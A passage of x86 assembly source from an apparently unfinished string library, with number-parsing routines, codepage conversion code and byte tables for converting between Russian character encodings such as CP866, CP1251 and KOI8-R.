or dword ptr [esp], 400h
popfd
mov [esp], dl
and dl, 80h
mov [esp+7], dl
pop ebx
pop ebp
ret
;CheckString_bin_exit:
; mov dh, BIN_VALUE
;CheckString_octal_exit:
; mov dh, OCTAL_VALUE
;CheckString_hex_exit:
; mov dh, HEX_VALUE
;CheckString_exp_exit:
; mov dh, EXP_VALUE
;CheckString_float_exit:
; mov dh, FLOAT_VALUE
; test dl, HEX_SIGN
; jz CheckString_exit
CheckString_error:
stc
pop ebx
pop ebp
ret
;in
;esi: input string buffer
;ebx: base
;edx: CheckTable
;ebp: exitcode
;edi: ??
;out
;c: error
;bl: value type
;dl: value sign
;esi: output string buffer
;ecx: length of string buffer
; xor ebx, ebx
; xor edx, edx
; xor ebp, ebp
; call TableConversion
;CheckString_loop:
; lodsb
; call CheckBase
; jnc ok
; call CheckSymbol
; jc error
; or al, al
; inc ebp
;CheckString_next:
; loop CheckString_loop
CheckString endp
;CheckBase proc near
;ebx: base
;eax: symbol
; cmp eax, '0'
; jb CheckBase_error
; cmp eax, '9'
; jbe CheckBase1
; cmp eax, 'A'
; jb CheckBase_error
;CheckBase1:
; cmp ebx, eax
;CheckBase_error:
; ret
;CheckBase endp
;ToUpperReg proc near
; cmp eax, 'a'
; jb ToUpperReg_exit
; cmp eax, 'z'
; ja ToUpperReg_exit
; sub eax, 20h
;ToUpperReg_exit:
; ret
;ToUpperReg endp
;CheckSymbol proc near
; ret
;CheckSymbol endp
GetSymbol8 proc near
;out
;eax: symbol
xor eax, eax
lodsb
; test al, al
; js
; sub al, '0'
ret
GetSymbol8 endp
GetSymbol16 proc near
;out
;eax: symbol
xor eax, eax
lodsw
; test ax, ax
; js
; sub al, '0'
ret
GetSymbol16 endp
GetSymbolRutf proc near
;out
;eax: symbol
xor eax, eax
lodsb
test al, al
jns GetSymbolRutf_exit
; shl eax, 8
ror eax, 7
lodsb
test al, al
jns GetSymbolRutf_exit1
; shr eax, 16
ror eax, 7
lodsw
ror eax, 18
jmp GetSymbolRutf_exit
GetSymbolRutf_exit1:
rol eax, 7
GetSymbolRutf_exit:
ret
GetSymbolRutf endp
HexString2Qword proc near
;in
;esi: pointer to string (in backward direction)
;ecx: string size
;ebp: sign check
;out
;edx:eax: number
;edi, ecx, ebx: destoryed
xor eax, eax
xor ebx, ebx
xor edx, edx
cmp ecx, 16
ja HexString2Qword_error
push ecx
HexString2Qword_next:
lodsb
sub al, 'A'
jc HexString2Qword_digit
sub al, 'a' - 'A' + 10
jnc HexString2Qword_write
add al, 'a' - 'A' + 10
jmp HexString2Qword_write
HexString2Qword_digit:
add al, 'A' - '0'
HexString2Qword_write:
shrd edx, ebx, 4
ror eax, 4
or edx, eax
loop HexString2Qword_next
pop ecx
lea ecx, [ecx * 4 ]
HexString2Qword_count_cvts:
xor cl, 1111111b
inc cl
shrd edx, ebx, cl
test cl, 100000b
jz HexString2Qword_32xcgh
xchg ebx, edx
HexString2Qword_32xcgh:
mov eax, ebx
jmp String2Int_sign_fix
HexString2Qword_error:
xor eax, eax
xor edx, edx
ret
HexString2Qword endp
BinString2Qword proc near
;in
;esi: pointer to string (in backward direction)
;ecx: string size
;ebp: sign check
;out
;edx:eax: number
;edi, ecx, ebx: destoryed
xor eax, eax
xor ecx, ecx
xor ebx, ebx
xor edx, edx
cmp ecx, 64
ja HexString2Qword_error
push ecx
BinString2Qword_next:
call GetSymbol
shr eax, 1
rcr edx, 1
rcr ebx, 1
loop BinString2Qword_next
pop ecx
jmp HexString2Qword_count_cvts
; xor cl, 1111111b
; shrd edx, ebx, cl
; test cl, 100000b
; jz HexString2Qword_32xcgh
; xchg ebx, edx
;HexString2Qword_32xcgh:
; mov eax, ebx
; jmp String2Int_sign_fix
BinString2Qword endp
OctalString2Qword proc near
xor eax, eax
xor ecx, ecx
xor ebx, ebx
xor edx, edx
cmp ecx, 22
ja HexString2Qword_error
push ecx
OctalString2Qword_next:
call GetSymbol
cmp edi, 22
jnz OctalString2Qword_signed_digit
pop ecx
cmp al, 1
ja HexString2Qword_error
shr eax, 1
rcr edx, 1
rcr ebx, 1
jmp HexString2Qword_count_cvts
OctalString2Qword_signed_digit:
shrd edx, ebx, 3
ror eax, 3
or edx, eax
loop OctalString2Qword_next
pop ecx
ja HexString2Qword_error
lea ecx, [ecx + ecx * 2]
jmp HexString2Qword_count_cvts
OctalString2Qword endp
IntString2Qword proc near
;in
;esi: pointer to string (in backward direction)
;cl(!ecx): string size
;eax: base
;ebp: sign check
push ebx
push ebp
push eax
xor eax, eax
push eax
push eax
mov edi, 1
xor ebp, ebp
String2Int_loop:
xor eax, eax
call GetSymbol
mov ebx, eax
mul edi
add [esp+4], eax
adc [esp], edx
jc String2Int_error
mov eax, ebx
mul ebp
or edx, edx
jnz String2Int_error
add [esp], eax
jc String2Int_error
dec cl
jz String2Int_loop_exit
mov eax, edi
mul dword ptr [esp+8]
mov edi, eax
xchg ebp, edx
or edx, edx
jz String2Int_loop
imul edx, dword ptr [esp+8]
add ebp, edx
jmp String2Int_loop
String2Int_loop_exit:
pop edx
pop eax
pop edi
pop ebp
pop ebx
String2Int_sign_fix:
test ebp, edx
js String2Int_error1;///??? comp to 0????
test ebp, ebp
jns String2Int_pop_exit
not edx
not eax
inc eax
adc edx, 0
jns String2Int_error1;///??? comp to 0????
String2Int_pop_exit:
ret
String2Int_error:
pop eax
pop edx
pop edi
pop ebp
pop ebx
String2Int_error1:
stc
ret
IntString2Qword endp
@FastString@$oo$xqqrv proc near
@FastString@$oo$xqqrv endp
@FastString@$oc$xqqrv proc near
@FastString@$ozc$xqqrv:
@FastString@$oc$xqqrv endp
@FastString@$ouc$xqqrv proc near
@FastString@$ouc$xqqrv endp
@FastString@$os$xqqrv proc near
@FastString@$os$xqqrv endp
@FastString@$ous$xqqrv proc near
@FastString@$ous$xqqrv endp
@FastString@$oi$xqqrv proc near
@FastString@$ol$xqqrv:
;in
;eax: this
;out
;eax: integer value
mov eax, [eax]
or eax, eax
jz @FastString@$oi$xqqrv_nullval
mov ecx, [eax - SIZEOF_FASTSTRING + FastString.Length]
or ecx, ecx
jz @FastString@$oi$xqqrv_nulllen
push ebx
push esi
push edi
push ebp
pushfd
mov esi, eax
call CheckString
jc @FastString@$oi$xqqrv_CheckString_error
jmp [ebx * 4 + ToIntTable]
@FastString@$oi$xqqrv_FromInt:
mov eax, [decimal_constant]
call IntString2Qword
jmp @FastString@$oi$xqqrv_exit
@FastString@$oi$xqqrv_FromExp:
mov eax, [decimal_constant]
call IntString2Qword
push ecx
push ebp
fild qword ptr[esp]
pop ecx
pop ecx
dec esi
fldl2t
fmulp
fstsw ax
test ah, 1000b
jz @FastString@$oi$xqqrv_FromExp_1
fchs
@FastString@$oi$xqqrv_FromExp_1:
fld st(0)
frndint
fsub st(1), st(0)
; fld1
; fscale
fxch
f2xm1
fld1
faddp
fscale
jz @FastString@$oi$xqqrv_FromExp_2
fld1
fdivrp st(1)
@FastString@$oi$xqqrv_FromExp_2:
; movzx eax, dh
; sub esi, eax
stc
@FastString@$oi$xqqrv_FromFloat:
pushfd
; movzx eax, bl
; sub esi, eax
push edi
mov edi, ebp
xor ebp, ebp
mov eax, [decimal_constant]
call IntString2Qword
push ebp
push edi
fild qword ptr[esp]
push edx
push eax
fild qword ptr[esp]
; and edi, 0ffh
; sub esi, edi
sub esi, [esp+16]
mov eax, [decimal_constant]
fdivrp
; dec esi
; movzx eax, bl
; sub esi, eax
mov ebp, ebx
; mov ebp, [esp+16]
shr ecx, 8
call IntString2Qword
push edx
push eax
fild qword ptr[esp]
faddp
add esp, 24
pop edi
popfd
jnc @FastString@$oi$xqqrv_exit
fmulp
jmp @FastString@$oi$xqqrv_exit
@FastString@$oi$xqqrv_FromHex:
call HexString2Qword
jmp @FastString@$oi$xqqrv_exit
@FastString@$oi$xqqrv_FromOctal:
call OctalString2Qword
jmp @FastString@$oi$xqqrv_exit
@FastString@$oi$xqqrv_FromBinary:
call BinString2Qword
@FastString@$oi$xqqrv_exit:
popfd
pop ebp
pop edi
pop esi
pop ebx
ret
@FastString@$oi$xqqrv_CheckString_error:
xor eax, eax
jmp @FastString@$oi$xqqrv_exit
@FastString@$oi$xqqrv_nulllen:
xor eax, eax
@FastString@$oi$xqqrv_nullval:
ret
@FastString@$oi$xqqrv endp
@FastString@$oui$xqqrv proc near
@FastString@$oul$xqqrv:
@FastString@$oui$xqqrv endp
@FastString@$oj$xqqrv proc near
@FastString@$oj$xqqrv endp
@FastString@$ouj$xqqrv proc near
@FastString@$ouj$xqqrv endp
@FastString@$of$xqqrv proc near
@FastString@$of$xqqrv endp
@FastString@$od$xqqrv proc near
@FastString@$od$xqqrv endp
@FastString@$og$xqqrv proc near
@FastString@$og$xqqrv endp
@FastString@$opv$xqqrv proc near
@FastString@$opv$xqqrv endp
@FastString@$opb$qqrv proc near
@FastString@$opb$qqrv endp
@FastString@$opc$qqrv proc near
@FastString@$opc$qqrv endp
@FastString@$o17System@AnsiString$qqrv proc near
@FastString@$o17System@AnsiString$qqrv endp
@FastString@$o17System@WideString$qqrv proc near
@FastString@$o17System@WideString$qqrv endp
;---------------------------------------------------------------------------------------------------------------------------
;---------------------------------------------------------------------------------------------------------------------------
;---------------------------------------------------------------------------------------------------------------------------
;@FastString@ConvertTo$qqrul:
@FastString@ConvertTo$qqrul proc near
@FastString@ChangeCodePage$qqrul:
;in
;eax: this
;edx: codepage
mov eax, [eax]
or eax, eax
jz @FastString@ConvertTo$qqrui_empty
;simple convert
push esi
push edi
mov esi, eax
mov edi, eax
mov ecx, [eax - SIZEOF_FASTSTRING + FastString.Length]
xchg dx, [eax - SIZEOF_FASTSTRING + FastString.CodePage.Page]
movzx eax, word ptr[eax - SIZEOF_FASTSTRING + FastString.CodePage.Page]
; movzx eax, word ptr[eax - SIZEOF_FASTSTRING + FastString.CodePage.Page]
; mov word ptr[eax - SIZEOF_FASTSTRING + FastString.CodePage.Page], dx
xchg eax, edx
cmp eax, edx
jz @FastString@ConvertTo$qqrui_dontcvt
test ah, dh
js @FastString@ConvertTo$qqrui_utf
call Convert8_8
@FastString@ConvertTo$qqrui_dontcvt:
pop edi
pop esi
@FastString@ConvertTo$qqrui_empty:
ret
@FastString@ConvertTo$qqrui_utf:
test ah, ah
js @FastString@ConvertTo$qqrui_ruft
test ah, 40h
jnz @FastString@ConvertTo$qqrui_uft16
test dh, dh
js @FastString@ConvertTo$qqrui_to_ruft
call Convert8_16
jmp @FastString@ConvertTo$qqrui_dontcvt
@FastString@ConvertTo$qqrui_to_ruft:
call Convert8_8P
jmp @FastString@ConvertTo$qqrui_dontcvt
@FastString@ConvertTo$qqrui_uft16:
test dh, dh
jnz @FastString@ConvertTo$qqrui_utf16_to_ruft
call Convert16_8
jmp @FastString@ConvertTo$qqrui_dontcvt
@FastString@ConvertTo$qqrui_utf16_to_ruft:
call Convert16_8P
jmp @FastString@ConvertTo$qqrui_dontcvt
@FastString@ConvertTo$qqrui_ruft:
test dh, 40h
jnz @FastString@ConvertTo$qqrui_rutf_to_uft16
call Convert8P_8
jmp @FastString@ConvertTo$qqrui_dontcvt
@FastString@ConvertTo$qqrui_rutf_to_uft16:
call Convert8P_16
jmp @FastString@ConvertTo$qqrui_dontcvt
@FastString@ConvertTo$qqrul endp
;@FastString@SetCodePage$qqrul:
@FastString@SetCodePage$qqrul proc near
;in
;eax: this
;edx: codepage
mov eax, [eax]
or eax, eax
jz @FastString@SetCodePage$qqrui_empty
mov word ptr[eax - SIZEOF_FASTSTRING + FastString.CodePage.Page], dx
@FastString@SetCodePage$qqrui_empty:
ret
@FastString@SetCodePage$qqrul endp
Convert8_8:
;in
;eax: input codepage
;edx: output codepage
;esi: input string
;edi: output string
;ecx: input count
;out
;esi: new input string
;esi: new output string
;ecx, eax, edx: destroyed
push ebx
push ebp
imul eax, RUSSIAN_CP_COUNT * 4
; shl edx, 2
; lea esi, [RussianConvertTable8_8 + eax*4 + edx*4]
mov ebx, [RussianConvertTable8_8 + edx*4 + eax]
push ebx
xor eax, eax
mov ebp, ecx
Convert8_8_enter:
lodsb
mov ebx, [esp]
movzx ecx, byte ptr[ebx]
Convert8_8_a:
; lodsw
mov dx, [ebx+1]
cmp al, dl
jb Convert8_8_b
cmp al, dh
ja Convert8_8_b
sub al, dl
mov al, [ebx+eax+3]
jmp Convert8_8_next
Convert8_8_b:
sub dh, dl
shr edx, 8
lea ebx, [ebx+edx+3]
loop Convert8_8_a
Convert8_8_next:
stosb
dec ebp
jnz Convert8_8_enter
pop ebx
pop ebp
pop ebx
ret
Convert8_16:
;eax: input codepage
lea esi, [RussianConvertTable8_16 + eax*4]
ret
Convert8_8P:
Convert16_8:
;edx: output codepage
lea esi, [RussianConvertTable16_8 + edx*4]
ret
Convert16_8P:
Convert8P_8:
Convert8P_16:
.data
RussianConvertTable8_8 label dword
dd 0, Cp866_Cp1251_tbl, Cp866_Mac_tbl, Cp866_Koi8r_tbl, Cp866_Mac_tbl, Cp866_Cp8859_5_tbl
dd Cp1251_Cp866_tbl, 0, Cp1251_Cp10007_tbl, Cp1251_Koi8r_tbl, Cp1251_Mac_tbl, Cp1251_Cp8859_5_tbl
dd Cp10007_Cp866_tbl, Cp10007_Cp1251_tbl, 0, Cp10007_Koi8r_tbl, 0, Cp10007_Cp8859_5_tbl
dd Koi8r_Cp866_tbl, Koi8r_Cp1251_tbl, Koi8r_Cp10007_tbl, 0, Koi8r_Mac_tbl, Koi8r_Cp8859_5_tbl
dd Mac_Cp866_tbl, Mac_Cp1251_tbl, 0, Cp10007_Koi8r_tbl, 0, Cp10007_Cp8859_5_tbl
dd Cp8859_5_Cp866_tbl, Cp8859_5_Cp1251_tbl, Cp8859_5_Mac_tbl, Cp8859_5_Koi8r_tbl, Cp8859_5_Mac_tbl, 0
RussianConvertTable8_16 label dword
dd Cp866_Utf16_tbl, Cp1251_Utf16_tbl, Cp10007_Utf16_tbl, Koi8r_Utf16_tbl, Mac_Utf16_tbl, Cp8859_5_Utf16_tbl
RussianConvertTable8_8P label dword
; dd Cp866_Cutf_tbl, Cp1251_Cutf_tbl, Cp10007_Cutf_tbl, Koi8r_Cutf_tbl, Mac_Cutf_tbl, Cp8859_5_Cutf_tbl
RussianConvertTable16_8 label dword
dd Utf16_Cp866_tbl, Utf16_Cp1251_tbl, Utf16_Cp10007_tbl, Utf16_Koi8r_tbl, Utf16_Mac_tbl, Utf16_Cp8859_5_tbl
RussianConvertTable16_8P label dword
; dd Utf16_Cutf_tbl
RussianConvertTable8P_8 label dword
; dd Cutf_Cp866_tbl, Cutf_Cp1251_tbl, Cutf_Cp10007_tbl, Cutf_Koi8r_tbl, Cutf_Mac_tbl, Cutf_Cp8859_5_tbl
RussianConvertTable8P_16 label dword
; dd Cutf_Utf16_tbl
;0->1
Cp866_Cp1251_tbl:
db 5h
db 80h, 0afh, 0c0h, 0c1h, 0c2h, 0c3h, 0c4h, 0c5h, 0c6h, 0c7h, 0c8h, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh, 0d0h, 0d1h, 0d2h, 0d3h, 0d4h, 0d5h, 0d6h, 0d7h, 0d8h, 0d9h, 0dah, 0dbh, 0dch, 0ddh, 0deh, 0dfh, 0e0h, 0e1h, 0e2h, 0e3h, 0e4h, 0e5h, 0e6h, 0e7h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh
db 0e0h, 0f8h, 0f0h, 0f1h, 0f2h, 0f3h, 0f4h, 0f5h, 0f6h, 0f7h, 0f8h, 0f9h, 0fah, 0fbh, 0fch, 0fdh, 0feh, 0ffh, 0a8h, 0b8h, 0aah, 0bah, 0afh, 0bfh, 0a1h, 0a2h, 0b0h
db 0fah, 0fah, 0b7h
db 0fch, 0fdh, 0b9h, 0a4h
db 0ffh, 0ffh, 0a0h
;0->2+4
Cp866_Mac_tbl:
db 4h
db 0a0h, 0afh, 0e0h, 0e1h, 0e2h, 0e3h, 0e4h, 0e5h, 0e6h, 0e7h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh
db 0e0h, 0f8h, 0f0h, 0f1h, 0f2h, 0f3h, 0f4h, 0f5h, 0f6h, 0f7h, 0f8h, 0f9h, 0fah, 0fbh, 0fch, 0fdh, 0feh, 0dfh, 0ddh, 0deh, 0b8h, 0b9h, 0bah, 0bbh, 0d8h, 0d9h, 0a1h
db 0fbh, 0fdh, 0c3h, 0dch, 0ffh
db 0ffh, 0ffh, 0cah
;0->3
Cp866_Koi8r_tbl:
db 3h
db 80h, 0f1h, 0e1h, 0e2h, 0f7h, 0e7h, 0e4h, 0e5h, 0f6h, 0fah, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0f0h, 0f2h, 0f3h, 0f4h, 0f5h, 0e6h, 0e8h, 0e3h, 0feh, 0fbh, 0fdh, 0ffh, 0f9h, 0f8h, 0fch, 0e0h, 0f1h, 0c1h, 0c2h, 0d7h, 0c7h, 0c4h, 0c5h, 0d6h, 0dah, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh, 0d0h, 090h, 091h, 092h, 081h, 087h, 0b2h, 0b4h, 0a7h, 0a6h, 0b5h, 0a1h, 0a8h, 0aeh, 0adh, 0ach, 083h, 084h, 089h, 088h, 086h, 080h, 08ah, 0afh, 0b0h, 0abh, 0a5h, 0bbh, 0b8h, 0b1h, 0a0h, 0beh, 0b9h, 0bah, 0b6h, 0b7h, 0aah, 0a9h, 0a2h, 0a4h, 0bdh, 0bch, 085h, 082h, 08dh, 08ch, 08eh, 08fh, 08bh, 0d2h, 0d3h, 0d4h, 0d5h, 0c6h, 0c8h, 0c3h, 0deh, 0dbh, 0ddh, 0dfh, 0d9h, 0d8h, 0dch, 0c0h, 0d1h, 0b3h, 0a3h
db 0f8h, 0fbh, 09ch, 095h, 09eh, 096h
db 0feh, 0ffh, 094h, 09ah
;0->5
Cp866_Cp8859_5_tbl:
db 5h
db 080h, 0afh, 0b0h, 0b1h, 0b2h, 0b3h, 0b4h, 0b5h, 0b6h, 0b7h, 0b8h, 0b9h, 0bah, 0bbh, 0bch, 0bdh, 0beh, 0bfh, 0c0h, 0c1h, 0c2h, 0c3h, 0c4h, 0c5h, 0c6h, 0c7h, 0c8h, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh, 0d0h, 0d1h, 0d2h, 0d3h, 0d4h, 0d5h, 0d6h, 0d7h, 0d8h, 0d9h, 0dah, 0dbh, 0dch, 0ddh, 0deh, 0dfh
db 0f0h, 0f0h, 0a1h
db 0f2h, 0f7h, 0a4h, 0f4h, 0a7h, 0f7h, 0aeh, 0feh
db 0fch, 0fch, 0f0h
db 0ffh, 0ffh, 0a0h
;1->0
Cp1251_Cp866_tbl:
db 7h
db 0a0h, 0a2h, 0ffh, 0f6h, 0f7h
db 0a4h, 0a4h, 0fdh
db 0a8h, 0a8h, 0f0h
db 0aah, 0aah, 0f2h
db 0afh, 0b0h, 0f4h, 0f8h
db 0b7h, 0bah, 0fah, 0f1h, 0fch, 0f3h
db 0bfh, 0ffh, 0f5h, 080h, 081h, 082h, 083h, 084h, 085h, 086h, 087h, 088h, 089h, 08ah, 08bh, 08ch, 08dh, 08eh, 08fh, 090h, 091h, 092h, 093h, 094h, 095h, 096h, 097h, 098h, 099h, 09ah, 09bh, 09ch, 09dh, 09eh, 09fh, 0a0h, 0a1h, 0a2h, 0a3h, 0a4h, 0a5h, 0a6h, 0a7h, 0a8h, 0a9h, 0aah, 0abh, 0ach, 0adh, 0aeh, 0afh, 0e0h, 0e1h, 0e2h, 0e3h, 0e4h, 0e5h, 0e6h, 0e7h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh
;1->2
Cp1251_Cp10007_tbl:
db 0ch
db 080h, 081h, 0abh, 0aeh
db 083h, 086h, 0afh, 0d7h, 0c9h, 0a0h
db 08ah, 08ah, 0bch
db 08ch, 09ah, 0beh, 0cdh, 0cbh, 0dah, 0ach, 0d4h, 0d5h, 0d2h, 0d3h, 0a5h, 0d0h, 0d1h, 0aah, 0bdh, 0h
db 09ch, 0a4h, 0bfh, 0ceh, 0cch, 0dbh, 0cah, 0d8h, 0d9h, 0b7h, 0ffh
db 0a7h, 0a8h, 0a4h, 0ddh
db 0aah, 0ach, 0b8h, 0c7h, 0c2h
db 0aeh, 0b0h, 0a8h, 0bah, 0a1h
db 0b2h, 0b3h, 0a7h, 0b4h
db 0b6h, 0b6h, 0a6h
db 0b8h, 0dfh, 0deh, 0dch, 0b9h, 0c8h, 0c0h, 0c1h, 0cfh, 0bbh, 080h, 081h, 082h, 083h, 084h, 085h, 086h, 087h, 088h, 089h, 08ah, 08bh, 08ch, 08dh, 08eh, 08fh, 090h, 091h, 092h, 093h, 094h, 095h, 096h, 097h, 098h, 099h, 09ah, 09bh, 09ch, 09dh, 09eh, 09fh
db 0ffh, 0ffh, 0dfh
;1->3
Cp1251_Koi8r_tbl:
db 5h
db 0a0h, 0a0h, 09ah
db 0a8h, 0a9h, 0b3h, 0bfh
db 0b0h, 0b0h, 09ch
db 0b7h, 0b8h, 09eh, 0a3h
db 0c0h, 0ffh, 0e1h, 0e2h, 0f7h, 0e7h, 0e4h, 0e5h, 0f6h, 0fah, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0f0h, 0f2h, 0f3h, 0f4h, 0f5h, 0e6h, 0e8h, 0e3h, 0feh, 0fbh, 0fdh, 0ffh, 0f9h, 0f8h, 0fch, 0e0h, 0f1h, 0c1h, 0c2h, 0d7h, 0c7h, 0c4h, 0c5h, 0d6h, 0dah, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh, 0d0h, 0d2h, 0d3h, 0d4h, 0d5h, 0c6h, 0c8h, 0c3h, 0deh, 0dbh, 0ddh, 0dfh, 0d9h, 0d8h, 0dch, 0c0h, 0d1h
;1->4
Cp1251_Mac_tbl:
db 0eh
db 080h, 081h, 0abh, 0aeh
db 083h, 086h, 0afh, 0d7h, 0c9h, 0a0h
db 088h, 088h, 0ffh
db 08ah, 08ah, 0bch
db 08ch, 09ah, 0beh, 0cdh, 0cbh, 0dah, 0ach, 0d4h, 0d5h, 0d2h, 0d3h, 0a5h, 0d0h, 0d1h, 0aah, 0bdh, 0efh
db 09ch, 0a3h, 0bfh, 0ceh, 0cch, 0dbh, 0cah, 0d8h, 0d9h, 0b7h
db 0a5h, 0a5h, 0a2h
db 0a7h, 0a8h, 0a4h, 0ddh
db 0aah, 0ach, 0b8h, 0c7h, 0c2h
db 0aeh, 0b0h, 0a8h, 0bah, 0a1h
db 0b2h, 0b4h, 0a7h, 0b4h, 0b6h
db 0b6h, 0b6h, 0a6h
db 0b8h, 0dfh, 0deh, 0dch, 0b9h, 0c8h, 0c0h, 0c1h, 0cfh, 0bbh, 080h, 081h, 082h, 083h, 084h, 085h, 086h, 087h, 088h, 089h, 08ah, 08bh, 08ch, 08dh, 08eh, 08fh, 090h, 091h, 092h, 093h, 094h, 095h, 096h, 097h, 098h, 099h, 09ah, 09bh, 09ch, 09dh, 09eh, 09fh
db 0ffh, 0ffh, 0dfh
;1->5
Cp1251_Cp8859_5_tbl:
db 0dh
db 080h, 081h, 0a2h, 0a3h
db 083h, 083h, 0f3h
db 08ah, 08ah, 0a9h
db 08ch, 090h, 0aah, 0ach, 0abh, 0afh, 0f2h
db 09ah, 09ah, 0f9h
db 09ch, 09fh, 0fah, 0fch, 0fbh, 0ffh
db 0a1h, 0a3h, 0aeh, 0feh, 0a8h
db 0a7h, 0a8h, 0fdh, 0a1h
db 0aah, 0aah, 0a4h
db 0afh, 0afh, 0a7h
db 0b2h, 0b3h, 0a6h, 0f6h
db 0b8h, 0bah, 0f1h, 0f0h, 0f4h
db 0bch, 0ffh, 0f8h, 0a5h, 0f5h, 0f7h, 0b0h, 0b1h, 0b2h, 0b3h, 0b4h, 0b5h, 0b6h, 0b7h, 0b8h, 0b9h, 0bah, 0bbh, 0bch, 0bdh, 0beh, 0bfh, 0c0h, 0c1h, 0c2h, 0c3h, 0c4h, 0c5h, 0c6h, 0c7h, 0c8h, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh, 0d0h, 0d1h, 0d2h, 0d3h, 0d4h, 0d5h, 0d6h, 0d7h, 0d8h, 0d9h, 0dah, 0dbh, 0dch, 0ddh, 0deh, 0dfh, 0e0h, 0e1h, 0e2h, 0e3h, 0e4h, 0e5h, 0e6h, 0e7h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh
;2->0
Cp10007_Cp866_tbl:
db 6h
db 0a1h, 0a1h, 0f8h
db 0b8h, 0bbh, 0f2h, 0f3h, 0f4h, 0f5h
db 0c3h, 0c3h, 0fbh
db 0cah, 0cah, 0ffh
db 0d8h, 0d9h, 0f6h, 0f7h
db 0dch, 0ffh, 0fch, 0f0h, 0f1h, 0efh, 0a0h, 0a1h, 0a2h, 0a3h, 0a4h, 0a5h, 0a6h, 0a7h, 0a8h, 0a9h, 0aah, 0abh, 0ach, 0adh, 0aeh, 0afh, 0e0h, 0e1h, 0e2h, 0e3h, 0e4h, 0e5h, 0e6h, 0e7h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0fdh
;2->1
Cp10007_Cp1251_tbl:
db 9h
db 080h, 0a1h, 0c0h, 0c1h, 0c2h, 0c3h, 0c4h, 0c5h, 0c6h, 0c7h, 0c8h, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh, 0d0h, 0d1h, 0d2h, 0d3h, 0d4h, 0d5h, 0d6h, 0d7h, 0d8h, 0d9h, 0dah, 0dbh, 0dch, 0ddh, 0deh, 0dfh, 086h, 0b0h
db 0a4h, 0a8h, 0a7h, 095h, 0b6h, 0b2h, 0aeh
db 0aah, 0ach, 099h, 080h, 090h
db 0aeh, 0afh, 081h, 083h
db 0b4h, 0b4h, 0b3h
db 0b7h, 0c2h, 0a3h, 0aah, 0bah, 0afh, 0bfh, 08ah, 09ah, 08ch, 09ch, 0bch, 0bdh, 0ach
db 0c7h, 0d5h, 0abh, 0bbh, 085h, 0a0h, 08eh, 09eh, 08dh, 09dh, 0beh, 096h, 098h, 093h, 094h, 091h, 092h
db 0d7h, 0dfh, 084h, 0a1h, 0a2h, 08fh, 09fh, 0b9h, 0a8h, 0b8h, 0ffh
db 0ffh, 0ffh, 0a4h
;2+4->3
Cp10007_Koi8r_tbl:
db 9h
db 080h, 09fh, 0e1h, 0e2h, 0f7h, 0e7h, 0e4h, 0e5h, 0f6h, 0fah, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh, 0efh, 0f0h, 0f2h, 0f3h, 0f4h, 0f5h, 0e6h, 0e8h, 0e3h, 0feh, 0fbh, 0fdh, 0ffh, 0f9h, 0f8h, 0fch, 0e0h, 0f1h
db 0a1h, 0a1h, 09ch
db 0a9h, 0a9h, 0bfh
db 0b2h, 0b3h, 098h, 099h
db 0c3h, 0c3h, 096h
db 0c5h, 0c5h, 097h
db 0cah, 0cah, 09ah
db 0d6h, 0d6h, 09fh
db 0ddh, 0feh, 0b3h, 0a3h, 0d1h, 0c1h, 0c2h, 0d7h, 0c7h, 0c4h, 0c5h, 0d6h, 0dah, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh, 0d0h, 0d2h, 0d3h, 0d4h, 0d5h, 0c6h, 0c8h, 0c3h, 0deh, 0dbh, 0ddh, 0dfh, 0d9h, 0d8h, 0dch, 0c0h
;2+4->5
Cp10007_Cp8859_5_tbl:
db 9h
db 080h, 09fh, 0b0h, 0b1h, 0b2h, 0b3h, 0b4h, 0b5h, 0b6h, 0b7h, 0b8h, 0b9h, 0bah, 0bbh, 0bch, 0bdh, 0beh, 0bfh, 0c0h, 0c1h, 0c2h, 0c3h, 0c4h, 0c5h, 0c6h, 0c7h, 0c8h, 0c9h, 0cah, 0cbh, 0cch, 0cdh, 0ceh, 0cfh
db 0a4h, 0a4h, 0fdh
db 0a7h, 0a7h, 0a6h
db 0abh, 0ach, 0a2h, 0f2h
db 0aeh, 0afh, 0a3h, 0f3h
db 0b4h, 0b4h, 0f6h
db 0b7h, 0c1h, 0a8h, 0a4h, 0f4h, 0a7h, 0f7h, 0a9h, 0f9h, 0aah, 0fah, 0f8h, 0a5h
db 0cah, 0cfh, 0a0h, 0abh, 0fbh, 0ach, 0fch, 0f5h
db 0d8h, 0feh, 0aeh, 0feh, 0afh, 0ffh, 0f0h, 0a1h, 0f1h, 0efh, 0d0h, 0d1h, 0d2h, 0d3h, 0d4h, 0d5h, 0d6h, 0d7h, 0d8h, 0d9h, 0dah, 0dbh, 0dch, 0ddh, 0deh, 0dfh, 0e0h, 0e1h, 0e2h, 0e3h, 0e4h, 0e5h, 0e6h, 0e7h, 0e8h, 0e9h, 0eah, 0ebh, 0ech, 0edh, 0eeh
;3->0
Koi8r_Cp866_tbl:
db 7h
db 080h, 092h, 0c4h, 0b3h, 0dah, 0bfh, 0c0h, 0d9h, 0c3h, 0b4h, 0c2h, 0c1h, 0c5h, 0dfh, 0dch, 0dbh, 0ddh, 0deh, 0b0h, 0b1h, 0b2h
db 094h, 096h, 0feh, 0f9h, 0fbh
db 09ah, 09ah, 0ffh
db 09ch, 09ch, 0f8h
db 09eh, 09eh, 0fah
